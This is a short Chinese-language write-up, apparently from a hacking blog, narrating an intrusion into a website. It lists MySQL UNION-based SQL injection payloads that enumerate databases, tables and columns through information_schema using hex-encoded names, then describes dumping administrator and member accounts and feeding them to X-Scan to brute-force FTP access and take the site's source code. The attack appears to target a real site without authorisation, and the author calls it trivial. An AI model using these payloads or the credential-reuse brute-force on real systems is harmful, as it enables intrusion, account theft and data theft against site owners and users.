找注射点，判断字段数就不提了。
判断下权限，非root连，没有load_file()的权限，不能select into outfile,幸好mysql版本是5.
获取库名
and 1=2 union select 1,2,3,database(),5....,87/*
或者
and 1=2 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1/*
and 1=2 select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1/*
----------------------------------------------------------------------------------------------
获取表名：
数据库名转换成hex：admin=0x61646D696E
and 1=2 select TABLE_NAME from information_schema.TABLES%20where%20TABLE_SCHEMA=0x61646D696E%20limit 0,1/*
。。。依次往下爆
------------------------------------------------------------------------------------------------
获取字段值：
表 admin=0x61646D696E
and 1=2 select COLUMN_NAME from information_schema.COLUMNS%20where%20TABLE_NAME=0x61646D696E%20limit 0,1/*
---------------------------------------------------------------------------------------------------
爆出管理员帐号后，发现登录不了后台。于是又爆了10套member帐号。整理了下帐号和口令，扔xscan跑ftp口令，2分钟后拿到ftp权限。只是要源代码，到此收工。没技术含量！
设为首页
加入收藏
联系我们
您当前的位置：
减小字体
增大字体
